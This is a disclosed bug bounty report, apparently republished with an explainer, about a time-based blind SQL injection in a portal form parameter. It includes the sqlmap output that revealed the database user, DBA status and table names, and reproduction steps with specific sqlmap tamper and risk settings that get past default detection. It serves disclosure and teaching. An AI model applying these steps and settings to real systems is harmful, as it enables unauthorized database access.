Skip to content
SQL injection Disclosed report Intermediate

Followup - SQL Injection - https://██████████/██████/MSI.portal

A form parameter on a portal page was vulnerable to time-based blind SQL injection, allowing an attacker to retrieve database information. The database user had DBA privileges, which could enable further compromise of the server and network.

arkaic Follow

Originally disclosed on HackerOne

  • Triaged in 3 hours
  • Fixed in 3 months
  • Disclosed after 8 months

Summary:

Time based blind sql injection for parameter MSI_additionalFilterType1, at the following URL:

https://███/███/MSI.portal?_nfpb=true&_pageLabel=msi_portal_page_61

Description:

This is a follow up to a previous report I submitted:

https://hackerone.com/reports/674838

The following page has a form parameter which is vulnerable to time based blind sql injection, which allows an attacker to retrieve information from the database.

https://█████████/███/MSI.portal?_nfpb=true&_pageLabel=msi_portal_page_61

The page uses several hidden parameters which are sent when the form is submitted. The specific vulnerable parameter in this case is "MSI_additionalFilterType1".

Sample form POST data, prior to SQL injection testing:

https://█████████/█████/msi/query_results.jsp?MSI_additionalFilterType1=-999&MSI_additionalFilterType2=-999&MSI_additionalFilterValue1=-999&MSI_additionalFilterValue2=-999&MSI_generalFilterType=-999&MSI_generalFilterValue=-999&MSI_outputOptionType1=-999&MSI_outputOptionType2=-999&MSI_outputOptionValue1=-999&MSI_outputOptionValue2=-999&MSI_queryType=-999

Initially I was not able to retrieve details about the database user nor the schema. After adjusting several parameters for sqlmap, I was able to successfully do so.

Here we can see the specific edition of Oracle DB used, along with the user and database name:

████

banner: 'Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production'
[13:11:58] [INFO] fetching current user
[13:11:58] [INFO] retrieved: ███
current user: '██████████'
[13:13:17] [INFO] testing if current user is DBA
current user is DBA: True
[13:13:25] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[13:13:25] [INFO] fetching database (schema) names
[13:13:25] [INFO] fetching number of databases
[13:13:25] [INFO] retrieved: 
[13:13:29] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[13:13:29] [ERROR] unable to retrieve the number of databases
[13:13:29] [INFO] falling back to current database
[13:13:29] [INFO] fetching current database
[13:13:29] [INFO] retrieved: ███
[13:14:48] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
available databases [1]:
[*] ██████████

Here you can see the retrieval of a few table names from the database:

█████

[13:18:06] [INFO] fetching tables for database: '█████'
[13:18:06] [INFO] fetching number of tables for database '████'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] 
[13:18:08] [INFO] retrieved: 
[13:18:14] [INFO] adjusting time delay to 3 seconds due to good response times
67
[13:18:32] [INFO] retrieved: ████████
[13:19:54] [INFO] retrieved: ███████
[13:23:29] [INFO] retrieved: ██████████
[13:25:45] [INFO] retrieved: ████████
[13:28:37] [INFO] retrieved: ██████████

I interrupted the process at this point, so as to not enumerate all 67 table names, and ceased further testing.

Impact

High

Step-by-step Reproduction Instructions

  1. Visit the vulnerable url (https://███/██████/MSI.portal?_nfpb=true&_pageLabel=msi_portal_page_61) while using an intercepting proxy
  2. Intercept GET request to capture full URL and all form parameters
  3. Utilize sqlmap to detect and exploit sql injection in "MSI_additionalFilterType1" parameter

Note: The default configuration of sqlmap will not be able to find the sql injection. I adjusted the following parameters in order to do so. "--risk 2 --level 3" and "--tamper=space2comment,randomcase,between"

Product, Version, and Configuration (If applicable)

Suggested Mitigation/Remediation Actions

  1. Sanitize all form parameter inputs, and use whitelisting to allow only needed data
  2. Rate limit submissions of forms. Time based sql injection requires many more HTTP requests than would be seen from legitimate browser activity.

Impact

High/Critical impact.

This sql injection attack could be used to retrieve all information from the database. Also, the account is running with DBA privileges which would allow for the retrieval of database account passwords and takeover of the server itself via injection of system commands; these could be leveraged to attack other systems on the network and potential lateral movement to other systems.

The original report as published on HackerOne, by arkaic. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application concatenated user-supplied input directly into a SQL query without parameterisation or validation.

Impact

An attacker could retrieve all information from the database, and because the account had DBA privileges, could potentially take over the server and move laterally to other systems.

What the attacker needed

Access to the portal page; ability to intercept HTTP requests

The fix

The application should sanitise all form parameter inputs using whitelisting and rate-limit form submissions.

How it was found

  1. Visit the vulnerable URL while using an intercepting proxy.
  2. Intercept the GET request to capture the full URL and all form parameters.
  3. Use sqlmap with adjusted options to detect and exploit the SQL injection in the specified parameter.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, a hidden form field was used to ask the database questions whose answers could be inferred from how long the page took to respond. Because the database account had high privileges, the attacker could potentially read sensitive data and even run system commands.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by arkaic

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.